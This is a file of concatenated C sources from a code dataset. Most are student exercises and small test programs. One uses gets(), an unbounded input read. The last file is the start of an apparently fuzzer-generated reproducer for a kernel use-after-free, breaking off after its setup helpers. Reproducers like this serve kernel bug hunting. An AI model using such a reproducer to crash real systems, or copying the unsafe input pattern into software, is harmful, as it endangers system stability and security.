#endif /*L2CAP_CLIENT_INCLUDED*/
|
the_stack_data/18886685.c
|
#include<stdio.h>
void main() {
int opt, n1, n2;
printf("choose options:\n");
printf("1 - Addition\n");
printf("2 - Substraction\n");
printf("3 - Multiplication\n");
printf("4 - Remineder\n");
printf("5 - Quotient\n");
scanf("%d", &opt);
if (opt==1) {
printf("enter two numbers to add:\n");
scanf("%d %d", &n1, &n2);
printf("Results: %d", n1+n2);
}
else if (opt==2) {
printf("enter two numbers to substract:\n");
scanf("%d %d", &n1, &n2);
printf("Results: %d", n1-n2);
}
else if (opt==3) {
printf("enter two numbers to multiply:\n");
scanf("%d %d", &n1, &n2);
printf("Results: %d", n1*n2);
}
else if (opt==4) {
printf("enter two numbers to find reminder:\n");
scanf("%d %d", &n1, &n2);
printf("Results: %d", n1%n2);
}
else if (opt==5) {
printf("enter two numbers to find quotient:\n");
scanf("%d %d", &n1, &n2);
printf("Results: %d", n1/n2);
}
else {
printf("Hmmm.. this looks like invalid choice!");
}
}
|
the_stack_data/757305.c
|
#include <stdio.h>
int main(){
// Casos de uso del operador *
// 1. Declarar una variable de tipo puntero
// 2. Dereferenciar una dirección
// 3. Multiplicar dos números (No como puntero)
// NOTA: Los punteros hacen parte tanto
// del tipo de dato como del nombre.
int n = 65;
int * p = &n;
printf("%i\n", n);
printf("%p\n", p);
printf("%c\n", *p);
}
|
the_stack_data/1240143.c
|
/**************************************************************************/
/* */
/* OCaml */
/* */
/* Xavier Leroy, projet Cristal, INRIA Rocquencourt */
/* */
/* Copyright 1997 Institut National de Recherche en Informatique et */
/* en Automatique. */
/* */
/* All rights reserved. This file is distributed under the terms of */
/* the GNU Lesser General Public License version 2.1, with the */
/* special exception on linking described in the file LICENSE. */
/* */
/**************************************************************************/
int main()
{
#ifdef __STDC__
#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
return 0;
#else
return 1;
#endif
#else
return 2;
#endif
}
|
the_stack_data/1267605.c
|
// RUN: %llvmgcc -S %s -o -
// PR1662
int foo(unsigned char *test) {
return 0U - (unsigned int )test;
}
|
the_stack_data/30800.c
|
/**
******************************************************************************
* @file stm32l0xx_ll_pwr.c
* @author MCD Application Team
* @version V1.8.0
* @date 25-November-2016
* @brief PWR LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32l0xx_ll_pwr.h"
#include "stm32l0xx_ll_bus.h"
/** @addtogroup STM32L0xx_LL_Driver
* @{
*/
#if defined(PWR)
/** @defgroup PWR_LL PWR
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup PWR_LL_Exported_Functions
* @{
*/
/** @addtogroup PWR_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the PWR registers to their default reset values.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: PWR registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_PWR_DeInit(void)
{
/* Force reset of PWR clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_PWR);
/* Release reset of PWR clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_PWR);
return SUCCESS;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* defined(PWR) */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/93887440.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <CL/cl.h>
unsigned char *read_buffer(char *file_name, size_t *size_ptr)
{
FILE *f;
unsigned char *buf;
size_t size;
/* Open file */
f = fopen(file_name, "rb");
if (!f)
return NULL;
/* Obtain file size */
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, 0, SEEK_SET);
/* Allocate and read buffer */
buf = malloc(size + 1);
fread(buf, 1, size, f);
buf[size] = '\0';
/* Return size of buffer */
if (size_ptr)
*size_ptr = size;
/* Return buffer */
return buf;
}
void write_buffer(char *file_name, const char *buffer, size_t buffer_size)
{
FILE *f;
/* Open file */
f = fopen(file_name, "w+");
/* Write buffer */
if(buffer)
fwrite(buffer, 1, buffer_size, f);
/* Close file */
fclose(f);
}
int main(int argc, char const *argv[])
{
/* Get platform */
cl_platform_id platform;
cl_uint num_platforms;
cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformIDs' failed\n");
exit(1);
}
printf("Number of platforms: %d\n", num_platforms);
printf("platform=%p\n", platform);
/* Get platform name */
char platform_name[100];
ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformInfo' failed\n");
exit(1);
}
printf("platform.name='%s'\n\n", platform_name);
/* Get device */
cl_device_id device;
cl_uint num_devices;
ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceIDs' failed\n");
exit(1);
}
printf("Number of devices: %d\n", num_devices);
printf("device=%p\n", device);
/* Get device name */
char device_name[100];
ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name),
device_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceInfo' failed\n");
exit(1);
}
printf("device.name='%s'\n", device_name);
printf("\n");
/* Create a Context Object */
cl_context context;
context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateContext' failed\n");
exit(1);
}
printf("context=%p\n", context);
/* Create a Command Queue Object*/
cl_command_queue command_queue;
command_queue = clCreateCommandQueue(context, device, 0, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateCommandQueue' failed\n");
exit(1);
}
printf("command_queue=%p\n", command_queue);
printf("\n");
/* Program source */
unsigned char *source_code;
size_t source_length;
/* Read program from 'bitselect_ushort16ushort16ushort16.cl' */
source_code = read_buffer("bitselect_ushort16ushort16ushort16.cl", &source_length);
/* Create a program */
cl_program program;
program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateProgramWithSource' failed\n");
exit(1);
}
printf("program=%p\n", program);
/* Build program */
ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL);
if (ret != CL_SUCCESS )
{
size_t size;
char *log;
/* Get log size */
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size);
/* Allocate log and print */
log = malloc(size);
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL);
printf("error: call to 'clBuildProgram' failed:\n%s\n", log);
/* Free log and exit */
free(log);
exit(1);
}
printf("program built\n");
printf("\n");
/* Create a Kernel Object */
cl_kernel kernel;
kernel = clCreateKernel(program, "bitselect_ushort16ushort16ushort16", &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateKernel' failed\n");
exit(1);
}
/* Create and allocate host buffers */
size_t num_elem = 10;
/* Create and init host side src buffer 0 */
cl_ushort16 *src_0_host_buffer;
src_0_host_buffer = malloc(num_elem * sizeof(cl_ushort16));
for (int i = 0; i < num_elem; i++)
src_0_host_buffer[i] = (cl_ushort16){{2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2}};
/* Create and init device side src buffer 0 */
cl_mem src_0_device_buffer;
src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_ushort16), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ushort16), src_0_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create and init host side src buffer 1 */
cl_ushort16 *src_1_host_buffer;
src_1_host_buffer = malloc(num_elem * sizeof(cl_ushort16));
for (int i = 0; i < num_elem; i++)
src_1_host_buffer[i] = (cl_ushort16){{2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2}};
/* Create and init device side src buffer 1 */
cl_mem src_1_device_buffer;
src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_ushort16), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ushort16), src_1_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create and init host side src buffer 2 */
cl_ushort16 *src_2_host_buffer;
src_2_host_buffer = malloc(num_elem * sizeof(cl_ushort16));
for (int i = 0; i < num_elem; i++)
src_2_host_buffer[i] = (cl_ushort16){{2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2}};
/* Create and init device side src buffer 2 */
cl_mem src_2_device_buffer;
src_2_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_ushort16), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_2_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ushort16), src_2_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create host dst buffer */
cl_ushort16 *dst_host_buffer;
dst_host_buffer = malloc(num_elem * sizeof(cl_ushort16));
memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_ushort16));
/* Create device dst buffer */
cl_mem dst_device_buffer;
dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_ushort16), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create dst buffer\n");
exit(1);
}
/* Set kernel arguments */
ret = CL_SUCCESS;
ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer);
ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer);
ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &src_2_device_buffer);
ret |= clSetKernelArg(kernel, 3, sizeof(cl_mem), &dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clSetKernelArg' failed\n");
exit(1);
}
/* Launch the kernel */
size_t global_work_size = num_elem;
size_t local_work_size = num_elem;
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueNDRangeKernel' failed\n");
exit(1);
}
/* Wait for it to finish */
clFinish(command_queue);
/* Read results from GPU */
ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_ushort16), dst_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueReadBuffer' failed\n");
exit(1);
}
/* Dump dst buffer to file */
char dump_file[100];
sprintf((char *)&dump_file, "%s.result", argv[0]);
write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_ushort16));
printf("Result dumped to %s\n", dump_file);
/* Free host dst buffer */
free(dst_host_buffer);
/* Free device dst buffer */
ret = clReleaseMemObject(dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 0 */
free(src_0_host_buffer);
/* Free device side src buffer 0 */
ret = clReleaseMemObject(src_0_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 1 */
free(src_1_host_buffer);
/* Free device side src buffer 1 */
ret = clReleaseMemObject(src_1_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 2 */
free(src_2_host_buffer);
/* Free device side src buffer 2 */
ret = clReleaseMemObject(src_2_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Release kernel */
ret = clReleaseKernel(kernel);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseKernel' failed\n");
exit(1);
}
/* Release program */
ret = clReleaseProgram(program);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseProgram' failed\n");
exit(1);
}
/* Release command queue */
ret = clReleaseCommandQueue(command_queue);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseCommandQueue' failed\n");
exit(1);
}
/* Release context */
ret = clReleaseContext(context);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseContext' failed\n");
exit(1);
}
return 0;
}
|
the_stack_data/154830714.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include<semaphore.h>
#include<unistd.h>
#include<pthread.h>
#define SHM_SIZE 8 /* make it a 8byte hared memory segment */
char *data;
sem_t mutex,mutex_w;
pthread_t writerthreads[10],readerthreads[102];
int readercount = 0;
void *writer(void* param)
{ char *temp="Please Wait";
int i=(int)param;
printf("%d Writer is trying to enter\n",i);
sem_wait(&mutex_w);
printf("Writer %d writing to segment: \"%s\"\n", i,temp);
strncpy(data,temp, SHM_SIZE);
sem_post(&mutex_w);
printf("%d Writer is leaving\n",i);
return NULL;
}
void *reader(void* param)
{
int i=(int)param;
sem_wait(&mutex);
readercount++;
if(readercount==1)
sem_wait(&mutex_w);
sem_post(&mutex);
printf("%d reader is inside\n",i);
printf("Reader %d reading from segment:\"%s\"\n", i,data);
usleep(3);
sem_wait(&mutex);
readercount--;
if(readercount==0)
{
sem_post(&mutex_w);
}
sem_post(&mutex);
printf("%d Reader is leaving\n",i);
return NULL;
}
int main(int argc, char *argv[])
{
key_t key;
int shmid;
int mode;
/* make the key: */
if ((key = ftok("hello.txt", 'R')) == -1) /*Here the file must exist */
{
perror("ftok");
exit(1);
}
/* create the segment: */
if ((shmid = shmget(key, SHM_SIZE, 0644 | IPC_CREAT)) == -1) {
perror("shmget");
exit(1);
}
/* attach to the segment to get a pointer to it: */
data = shmat(shmid, NULL, 0);
if (data == (char *)(-1)) {
perror("shmat");
exit(1);
}
int i;
int n2=5;
int n1[n2];
sem_init(&mutex,0,1);
sem_init(&mutex_w,0,1);
for(i=0;i<n2;i++)
{
pthread_create(&writerthreads[i],NULL,writer,(void *)i);
pthread_create(&readerthreads[i],NULL,reader,(void *)i);
}
for(i=0;i<n2;i++)
{
pthread_join(writerthreads[i],NULL);
pthread_join(readerthreads[i],NULL);
}
/* detach from the segment: */
if (shmdt(data) == -1) {
perror("shmdt");
exit(1);
}
/* delete the segment:
if (shmctl(shmid,IPC_RMID,NULL) == -1) {
perror("shmdt");
exit(1);
}
*/
return 0;
}
|
the_stack_data/122015284.c
|
#include<stdio.h>
int main()
{
int burst_time[20], p[20], waiting_time[20], turn_around_time[20], i, j, n, total = 0, pos, temp;
float average_waiting_time, average_turn_around_time;
printf("Enter the number of process: ");
scanf("%d",&n);
printf("\nEnter Burst Time:\n");
for(i = 0; i < n ; i++)
{
printf("P[%d]: ", i + 1);
scanf("%d", &burst_time[i]);
p[i] = i + 1;
}
for(i = 0; i < n; i++)
{
pos = i;
for(j = i + 1; j < n; j++)
{
if(burst_time[j] < burst_time[pos])
pos = j;
}
temp = burst_time[i];
burst_time[i] = burst_time[pos];
burst_time[pos] = temp;
temp = p[i];
p[i] = p[pos];
p[pos] = temp;
}
waiting_time[0] = 0;
for(i = 1; i < n; i++)
{
waiting_time[i] = 0;
for(j = 0;j < i; j++)
waiting_time[i] += burst_time[j];
total += waiting_time[i];
}
average_waiting_time = (float)total/n;
total = 0;
printf("\nProcess\tBurst Time\tWaiting Time\tTurn around Time");
for(i = 0; i < n; i++)
{
turn_around_time[i] = burst_time[i] + waiting_time[i];
total += turn_around_time[i];
printf("\nP[%d]\t\t%d\t\t%d\t\t\t%d", p[i], burst_time[i], waiting_time[i], turn_around_time[i]);
}
average_turn_around_time = (float)total/n;
printf("\n\nAverage Waiting Time:\t\t%.2f", average_waiting_time);
printf("\nAverage Turnaround Time:\t%.2f\n", average_turn_around_time);
}
|
the_stack_data/101833.c
|
//线索二叉树
#include <stdio.h>
#include <stdlib.h>
typedef char ElemType;
//线索存储标志位
//Link 0 ：表示指向左右孩子的指针，指针标志
//Thread 1 ：表示指向前驱、后继的线索，线索标志
//结点的child域类型，link表示是指针，指向孩子结点，thread表示是线索，指示前驱或后继结点
typedef enum {
Link,
Thread
} PointerTag;
typedef struct BiThrTNode
{
ElemType data;
struct BiThrTNode *lchild, *rchild;
PointerTag ltag, rtag;
} BiThrTNode, *BiThrTree;
//全局变量
BiThrTree pre;
//创建一个二叉树，约定用户遵循前序遍历的方式输入数据
void CreateBiThrTree(BiThrTree *T)
{
char c;
scanf("%c", &c);
if (c == ' ') {
*T = NULL;
} else {
*T = (BiThrTNode *)malloc(sizeof(BiThrTNode));
(*T)->data = c;
(*T)->ltag = Link;
(*T)->rtag = Link;
CreateBiThrTree(&(*T)->lchild);
CreateBiThrTree(&(*T)->rchild);
}
}
//中序遍历线索化
void InThreading(BiThrTree T)
{
if (T) {
InThreading(T->lchild); //递归左孩子线索化
if (!T->lchild) { //该结点没有左孩子，设置 ltag 为 Thread，并把 lchild 指向刚刚访问过的结点
T->ltag = Thread;
T->lchild = pre;
}
if (!pre->rchild) {
pre->rtag = Thread;
pre->rchild = T;
}
pre = T;
InThreading(T->rchild); //递归右孩子线索化
}
}
void InOrderThreading(BiThrTree *p, BiThrTree T)
{
*p = (BiThrTree)malloc(sizeof(BiThrTNode));
(*p)->ltag = Link;
(*p)->rtag = Thread;
(*p)->rchild = *p;
if (!T) {
(*p)->lchild = *p;
} else {
(*p)->lchild = T;
pre = *p;
InThreading(T);
pre->rchild = *p;
pre->rtag = Thread;
(*p)->rchild = pre;
}
}
int main(int argc, char const *argv[])
{
BiThrTree P, T = NULL;
CreateBiThrTree(&T);
InOrderThreading(&P, T);
return 0;
}
|
the_stack_data/81286.c
|
#include <stdio.h>
void asciiTable() {
for (int i = 0; i < 256; ++i) {
printf("%d: %c\n", i, i);
}
}
void az() {
for (char c = 'a'; c <= 'z'; ++c) {
printf("%c", c);
}
}
void demo1() {
char c1;
c1 = 'A';
char c2 = 'B';
char c3;
c3 = 'A' + 3;
printf("%c %d\n", c1, c1);
printf("%c %d\n", c2, c2);
printf("%c %d\n", c3, c3);
}
int main() {
// asciiTable();
az();
}
|
the_stack_data/187642629.c
|
/**
* Basic fork() Usage 1.
*
* By walking through this example you’ll learn:
* - How to use fork().
* - How to distinguish parent and child process.
* - What happens to variables that reside in various scopes.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
const int SEVEN_AND_A_HALF_MILLION_YEARS = 3;
const int A_DAY = 1;
// Allocated in data segment.
static int the_answer = 0;
int main(int argc, char* argv[]){
// Allocated in stack segment.
int arthur = 0;
pid_t pid;
switch(pid = fork()){
case 1:
// HINT: The parent process should fall into this scope.
the_answer = 42;
arthur = 6 * 9;
sleep(SEVEN_AND_A_HALF_MILLION_YEARS);
break;
case 2:
// HINT: The child process should fall into this scope.
sleep(A_DAY * 2);
break;
case -1:
printf("WTF?");
return -1;
break;
}
printf("My pid is %ld (%s)\n", (long)getpid(), pid == 0 ? "child" : "parent");
printf("The answer to the ultimate question of life the universe and everything is %d.\n", the_answer);
printf("But Arthur replied that it was %d.\n\n", arthur);
return 0;
}
|
the_stack_data/60448.c
|
#include <stdio.h>
#ifdef _MSC_VER
#pragma warning(disable : 4996)
#endif // _MSC_VER
// This convoluted function returns 0
// but will hopefully not be optimized away in release builds...
int return_0_non_optimizable() {
char buffer[100];
long value = 62831853;
char *c;
int result;
sprintf(buffer, "%ld", value);
c = buffer;
result = 0;
while (*c) {
int digit = (int)(c[0] - '0');
result = result + digit;
c++;
}
return result - 36;
}
// this process will be hung in an infinite loop
int main() {
int r = 0;
while (return_0_non_optimizable() == 0)
r = r + 1;
printf("r=%d", r);
return 0;
}
|
the_stack_data/211081658.c
|
#include <stdio.h>
#define MAX_SIZE 100
void replaceAll(char * arr, char oldChar, char newChar);
int main ()
{
char arr[MAX_SIZE], oldChar, newChar;
printf("Enter the string : ");
gets(arr);
printf("Enter character to replace : ");
oldChar = getchar ();
getchar();
printf("Enter character to replace '%c' with : ", oldChar);
newChar = getchar();
printf("\nString before replacing : \n%s", arr);
replaceAll(arr, oldChar, newChar);
printf("\n\nString after replacing '%c' with '%c' : \n%s", oldChar, newChar, arr);
return 0;
}
void replaceAll(char * arr, char oldChar, char newChar)
{
int i = 0;
while(arr[i] != '\0')
{
if(arr[i] == oldChar)
{
arr[i] = newChar;
}
i++;
}
}
|
the_stack_data/207710.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "pthread.h"
#include "semaphore.h"
sem_t *readers_ME, *writers_ME, *w;
int nr = 0;
static void *writer (void *a) {
int *i = (int *) a;
usleep(rand() % 500);
printf("Writer %d trying to write\n", *i);
sem_wait(writers_ME);
sem_wait(w);
printf("Thread n. %d writing\n", *i);
usleep(500);
sem_post(w);
sem_post(writers_ME);
return NULL;
}
static void *reader (void *a) {
int *i = (int *) a;
usleep(rand() % 500);
printf("Reader %d trying to read\n", *i);
sem_wait(readers_ME);
nr++;
if (nr == 1) {
sem_wait(w);
}
sem_post(readers_ME);
printf("Thread n. %d reading\n", *i);
usleep(500);
sem_wait(readers_ME);
nr--;
if (nr == 0)
sem_post(w);
sem_post(readers_ME);
return NULL;
}
int main(int argc, char const *argv[]) {
if (argc != 2 || atoi(argv[1]) <= 0) {
printf("USAGE: %s <positive non-zero integer>\n", argv[0]);
exit(1);
}
int num_th = atoi(argv[1]);
pthread_t readers_TH[num_th], writers_TH[num_th];
w = (sem_t *) malloc (sizeof (sem_t));
readers_ME = (sem_t *) malloc (sizeof (sem_t));
writers_ME = (sem_t *) malloc (sizeof (sem_t));
sem_init (w, 0, 1);
sem_init (readers_ME, 0, 1);
sem_init (writers_ME, 0, 1);
setbuf(stdout,0);
/* Create the threads */
for (int i = 0; i < num_th; i++) {
int *v = (int *) malloc (sizeof (int));
*v = i;
if(pthread_create(&readers_TH[i], NULL, reader, v) != 0 ||
pthread_create(&writers_TH[i], NULL, writer, v) != 0) {
printf("Error to create thread!\n");
exit(1);
}
}
for (int i = 0; i < num_th; i++) {
if (pthread_join(readers_TH[i], NULL) != 0 ||
pthread_join(writers_TH[i], NULL) != 0) {
fprintf(stderr, "Error join thread!\n");
}
}
printf("The End.\n");
pthread_exit (0);
}
|
the_stack_data/46086.c
|
#include <stdio.h>
void inplaceSwap(int *x, int *y) {
*x = *x ^ *y;
*y = *x ^ *y;
*x = *x ^ *y;
}
int main() {
int x = 233;
int y = 666;
inplaceSwap(&x, &y);
printf("x=%d\ty=%d\n", x, y);
int aNumber = 0x06;
printf("~0x%x=0x%x\n",aNumber, ~aNumber);
printf("!0x%x=0x%x\n",aNumber, !aNumber);
}
|
the_stack_data/126703463.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strclr.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: npineau <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2013/11/26 16:09:52 by npineau #+# #+# */
/* Updated: 2013/12/15 05:36:01 by npineau ### ########.fr */
/* */
/* ************************************************************************** */
void ft_strclr(char *src)
{
int i;
i = 0;
if (src)
{
while (src[i])
{
src[i] = 0;
i++;
}
}
}
|
the_stack_data/329023.c
|
// KASAN: use-after-free Write in __internal_add_timer
// https://syzkaller.appspot.com/bug?id=808b558a11df12fd2957
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i;
for (i = 0; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
